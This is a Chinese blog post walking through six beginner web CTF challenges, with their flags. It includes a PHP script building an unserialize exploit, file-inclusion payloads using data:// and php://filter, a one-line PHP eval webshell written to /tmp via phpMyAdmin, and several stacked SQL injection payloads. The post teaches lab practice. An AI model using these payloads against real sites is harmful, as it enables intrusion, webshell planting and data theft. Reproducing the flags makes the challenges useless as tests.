欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注
目录
001baby_web
002Trainng WWW Robots
003Web_php_unserialize
004php_rce
005Web_php_include
Web_php_include第一种解法data://text/plain/;base64,
Web_php_include第二种解法php://filter/read=convert.base64-encode/resource=(文件名)
Web_php_include第三种解法御剑扫描后台登录数据库
006supersqli
法一
法二
法三
001baby_web
002Trainng WWW Robots
有关robots.txt的知识可以参考:如何使用robots.txt及其详解 - yuzhongwusan - 博客园
打开robots.txt会发现它只允许俄罗斯最大的搜索引擎爬取他的flag:
我们打开BP把自己的USER-agent改为Yandex就好了:
然后访问fl0g.php就会发现我们需要的flag:cyberpeace{3084111b083b31c5dc5bb10d16ac39e8}
003Web_php_unserialize
反序列化的题目一般解题思路都是调用__destruct(){}这个魔术方法,然后通过这个方法中的函数去读取flag所在文件,,,题目一般会怎么“阻碍”我们获取flag呢?一般会wake_up,或者正则,放在和__destruct(){}同一个类(class)里面,我们输入的参数会被过滤。。我们必须绕过wake_up、正则,才可以。绕过正则就看你对正则的理解,,过wake_up需要的是PHP的版本PHP5<5.6.25
PHP7<7.0.10,当实际属性的值小于我们写入的反序列化中的属性的值的时候,就会不执行wake_up魔术方法。当然,我也是第一次学习反序列化,入门推荐PHP中文网的教程十分详细:详解之php反序列化-php教程-PHP中文网
就拿这道题目来说,直接上源码和后面我加入的解题PHP语句:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo('fl4g.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>
把得到的$a作为参数输入的url里面,获取flag:
004php_rce
说实话,这题我因为没有对rce这个remote controll execution的敏感,以及做题经验,我无法想到任何思路……我是查了大佬博客才知道的。。。贴出原贴:攻防世界-php_rce详解_Mr H的博客-CSDN博客_php_rce
值得注意的是,Linux下find 命令比whereis更加优秀,找的更全,find / name (文件名) 会查出和这个文件有关的一切东西。可以参考C语言中文网,个人认为分析十分详细易懂Linux find命令:在目录中查找文件(超详解)
我们是如何确定flag文件在哪里的呢?首先是不断尝试ls ls ../ ls ../../ ls ../../../ 可以得知ctf题目一般需要切换目录不断寻找和flag有关的文件位置。。这也是一种经验吧。
005Web_php_include
上代码,备注里面加入了我的分析,我们要有一种“题目感应”,也就是高中老师常说的“题感”,当你看到诸如“文件类的漏洞”,“php://”,“filter:///”“input://”,“data://text”这一类的关键词时候,就要想到用伪协议去读取网站目录下可能存在的flag文件,或者上传一个shell去连接这个网站。
<?php
show_source(__FILE__);//展示本页面的源代码
echo $_GET['hello'];//当我们在URL里面对hello赋值的话,会在页面上返回我们给hello赋的值
$page=$_GET['page'];//我们可以用同样的方法给page赋值
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
//如果我们对page的赋值中包含php://的话,就会被过滤掉这一部分的语句
}
include($page);//文件包含,每当我们打开这个页面,就会执行page里面包含的内容,如果page里面是一个恶意shell的话,这个页面也会执行page里面包含的shell
?>
Web_php_include第一种解法data://text/plain/;base64,
这是一种基于data://伪协议的方式,该协议的用法是:我们首先输入的语句是:<?php system(ls);?>,会发现出现在页面下的有三个文件,其中一个是名为flag******的可疑文件
接下来我们查看这个可疑文件,用PHP语句<?php system(cat +文件名);?>:
但是却报了500错误,500是服务器方面的错误,有可能是我们权限不够,没法直接访问这个文件。再试试base64编码可不可以绕过:
一开始没有反应,需要“查看页面源码”,就会发现flag:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
Web_php_include第二种解法php://filter/read=convert.base64-encode/resource=(文件名)
php://filter/read=convert.base64-encode/resource=也是一个伪协议,用于读取目标的某个文件,原理和方法和第一种解法中的一样,仅仅是换了语句而已:
把这个flag解码得到这样一条语句:http://220.249.52.134:44298/<?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";?>
Web_php_include第三种解法御剑扫描后台登录数据库
这是我看了别人的博客才知道的方法,我也没想到能用工具直接扫描这个网站下的子目录有什么文件,居然会发现有数据库,御剑扫描获得phpmyadmin root 密码空 进入数据库执行这条命令查secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录,所以我们把一句话木马写入这个文件夹下,
SELECT "<?php eval(@$_POST['xyy']); ?>"INTO OUTFILE '/tmp/hack.php'
006supersqli
一道很基础的SQL注入题目,只要学过基本都会,这里需要的前置知识是预编译,SQL语法,strstr函数绕过:
法一
1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤
3.尝试堆叠注入
-1';show tables --+
4.查看字段,
-1';show columns from `1919810931114514` --+
-1';show columns from `words` --+
5.查看值,需要绕过select的限制,我们可以使用预编译的方式
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #
6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
法二
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';
2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)alter table user rename to users;
修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);
3.最终payload如下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.然后使用1' or 1=1#即可查询出flag
法三
使用handler查询,payload如下:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#